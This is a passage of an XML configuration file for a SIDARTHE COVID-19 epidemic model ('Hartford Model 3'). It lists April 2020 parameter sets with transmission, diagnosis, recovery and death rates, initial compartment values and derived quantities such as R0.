<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="2.1592935507797506" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.24992204623304229" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.12499900848469012" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_24" name="model3 - 4/16">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_24">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-16T21:59:15Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000000000000002" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572662" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.0000000000000002" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="3.023762860171435" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.60475257203428701" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.3023762860171435" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.15118814300857175" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.19662722168451524" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.19662722168451524" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.039171576533396923" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="2.358569664573686" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="2.3585696646026704" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.15151515151515221" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.15151515151515221" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.2271182931667631" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="2.3585696646026704" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.12499999999999978" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.037009197744520946" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="3.0000000000000004" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="3.0000000000000004" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.5551968862871854" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.5551968862871854" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.5492563926222349" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.37863344468191529" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.16200919774452072" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.1929773193812878" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="8.4636059081146292e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="8.463605908114629e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.6927211816229258e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="4.2318029540573146e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999998434121118" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.87925398685424283" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="3.4773243692531128" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.03917157653339693" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.87925397308619035" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="8.463605908114629e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.6927211816229258e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="8.4636059081146292e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="4.2318029540573146e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.19662722168451524" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515221" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.039171576533396923" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515221" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515221" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.037009197744520946" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="2.3585696646026704" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="2.3585696646026704" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="2.358569664573686" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.2271182931667631" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.12499999999999978" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_23" name="model3 - 4/17">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_23">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-18T16:03:17Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000001024000105" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572661.9999997951" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.0000001024" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="3.1885742590347292" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.63771485180694587" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.31885742590347294" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.15942871295173647" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.21989961072439684" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.21989961072439684" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.047592581447934781" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="2.5137393895755729" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="2.5137393895755729" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.15151515151515199" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.15151515151515199" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.22296364097327862" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="2.5137393895755729" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.125" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.0380584696844498" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="3.0000002048000107" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="3.0000002048000107" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.7336390002999695" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.7336390002999695" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.7128471225386597" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.37447879248843063" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.16305846968444981" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.1764767743898441" type="ModelValue" simulationType="assignment"/>
